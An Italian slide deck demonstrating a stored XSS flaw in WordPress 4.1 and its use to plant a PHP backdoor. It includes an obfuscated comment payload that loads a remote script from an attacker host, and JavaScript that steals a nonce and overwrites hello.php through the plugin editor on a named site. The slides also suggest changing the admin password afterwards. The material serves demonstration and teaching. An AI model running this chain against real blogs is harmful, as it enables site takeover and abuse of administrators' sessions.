How to hijack a WordPress 4.1 Blog

1. Hacking in Action - 1
Introduzione di una backdoor
in un blogWordPress 4.1

2. VULNERABILITÀ in WordPress 4.1
 La versione 4.1 di WordPress contiene
una grave vulnerabilità di tipo Storage XSS
◦ XSS: Cross Site Scripting
 Esecuzione di uno script (per es. Javascript) sul
computer del visitatore per il tramite di un sito
“pulito”
◦ Stored XSS
 Lo script maligno viene in qualche modo
incorporato nel sito stesso

3. VULNERABILITÀ in WordPress 4.1
 La dimensione massima di un commento a un post è
pari a 64kB
 Se un commento è più lungo, viene troncato prima di
essere memorizzato nel database
 Se il commento è scritto in HTML, l’operazione di
troncamento porta alla creazione di una stringa
HTML non corretta.
 È possibile in questo modo far sì che ad ogni
visualizzazione del commento venga eseguito dal
client uno script maligno.

4. VULNERABILITÀ in WordPress 4.1
 Il commento maligno:
<a title='xxx
onmouseover=eval(unescape(/var%20a%3
Ddocument.createElement%28%27script%
27%29%3Ba.setAttribute%28%27src%27%2
C%27http%3A%2F%2Fsitomaligno.altervi
sta.org%2FExploit.js%27%29%3Bdocumen
t.head.appendChild%28a%29/.source))
style=position:absolute;left:0;top:0
;width:5000px;height:5000px
AAAAAAAAAAAA [Almeno 65000
caratteri] AAAAAAAAAAAAAAA'></a>

5. VULNERABILITÀ in WordPress 4.1
 Lo script risultante
var a.document.createElement(‘script’);
a.setAttribute(‘src’,
’http://sitomaligno.altervista.org/Exploit.js’);
document.head.appendChild(a)
 Viene aggiunto nella sezione head della pagina
Wordpress un riferimento
◦ sitomaligno.altervista.org
◦ Exploit.js

6. VULNERABILITÀ in WordPress 4.1
 Quando viene eseguito lo script?
◦ Quando il mouse ci finisce sopra.
◦ Sembra un po’ difficile…
 Rendiamo il link un po’ più grosso
position:absolute;
left:0;
top:0;
width:5000px;
height:5000px
 Occupa tutto lo schermo!

7. Vediamola in azione
 Usiamo uno script semplice e innocuo:
◦ window.alert(“Eccomi”);
 Guarda su YouTube
 Quando lo script viene eseguito
dall’amministratore del blog, possiede
tutti i privilegi di accesso ai file e di
esecuzione delle operazioni
amministrative!

8. Inserimento di una backdoor
 Proviamo una cosa meno innocua
◦ Carichiamo un file sul server che gestisce il blog
 Ogni installazione di WordPress contiene un
file di prova
◦ hello.php
◦ Contiene semplicemente il testo della canzone
Hello Dolly
◦ Sostanzialmente è un plugin dimostrativo
 Sostituiamo questo file con uno script
prodotto da noi e potenzialmente maligno
◦ <?php echo 'Il sito maligno ha colpito!'; ?>
◦ Potremo eseguire questo script da remoto!

9. Inserimento di una backdoor
 Come facciamo?
◦ Modifichiamo il file Exploit.js
 Mandiamo una richiesta POST all’editor dei plugin di
WordPress, ordinandogli di aggiornare il file hello.php
◦ In pratica lo sostituiamo con il nostro script maligno
◦ Diventa la nostra backdoor
 Problema
◦ Wordpress genera un codice, detto NONCE, inserito in
ogni form del blog
◦ Il server web convalida solo le richieste POST che
contengono un NONCE valido
◦ In linea di massima ad ogni richiesta di pagina viene
generato un NONCE diverso

10. Inserimento di una backdoor
 Come otteniamo un NONCE valido per la nostra
richiesta POST?
◦ Inviamo al blog una richiesta GET di visualizzazione
del file hello.php
 La risposta alla richiesta GET conterrà un form per la modifica
del file stesso
 Questo form conterrà un NONCE valido
 Il NONCE valido verrà inserito in una richiesta
POST per l’aggiornamento del file hello.php
◦ Wordpress riconoscerà il NONCE appena generato e
autorizzerà l’aggiornamento del file
 Tutto questo si svolge quando l’amministratore
visualizza il nostro commento maligno

11. Inserimento di una backdoor
 Ecco lo script - Parte 1
// Funzione che effettua una richiesta GET HTTPS
function httpGet(theUrl)
{
var xmlHttp = new XMLHttpRequest();
xmlHttp.open( "GET", theUrl, false );
xmlHttp.setRequestHeader("HTTPS","1");
xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
xmlHttp.send( null );
return xmlHttp.responseText;
}
// Funzione che effettua una richiesta POST HTTPS
function httpPost(theUrl,theParameters)
{
var xmlHttp = new XMLHttpRequest();
xmlHttp.open( "POST", theUrl, false );
xmlHttp.setRequestHeader("HTTPS","1");
xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
xmlHttp.send( theParameters );
return xmlHttp.responseText;
}

12. Inserimento di una backdoor
 Ecco lo script - Parte 2
// Richiesta del file hello.php (sempre presente nelle
installazioni WordPress)
var hello = httpGet("http://wordpress.promomaremma.net/wp-
admin/plugin-editor.php?file=hello.php&plugin=hello.php");
// Ricerca di un nonce valido
var nonce_pos =
hello.indexOf(unescape("name%3D%22%5Fwpnonce%22%20value%3D%22
"));
var nonce = hello.substr(nonce_pos+23,10);
// Costruzione dei parametri della richiesta POST con il nonce
appena ottenuto
// Costruzione dei parametri della richiesta POST con il nonce
appena ottenuto
var parameters = "_wpnonce=" + nonce + "&_wp_http_referer=" +
escape("/wp-admin/plugin-editor.php") + "&newcontent= " +
escape("<?php echo 'Il sito maligno ha colpito!'; ?>") +
"&action=update&file=hello.php&plugin=hello.php&scrollto=0&do
c-list=&submit=Aggiorna+file";
// Modifica del file hello.php con il contenuto maligno
httpPost("http://wordpress.promomaremma.net/wp-admin/plugin-
editor.php",parameters);

13. Vediamola in azione
 Notare come tutto venga eseguito
dall’amministratore a sua insaputo
◦ Diversamente non funzionerebbe
 Guarda su YouTube
 Questa falla di sicurezza è stata scoperta nella
versione 3.9.3 di Wordpress
 È stata corretta a partire dalla versione 4.2.1
◦ In realtà le versioni superiori alle 4.1.2 non sono risultate
vulnerabili, ma la 4.2 sì.
 Per il nostro test abbiamo utilizzato la versione 4.1

14. Ulteriori sviluppi
 La backdoor può essere eseguita sul
momento
◦ Si esegue subito una GET sul file hello.php
appena modificato
 In questo modo si può operare sul blog
come si vuole
◦ Per esempio cambiando la password di
amministratore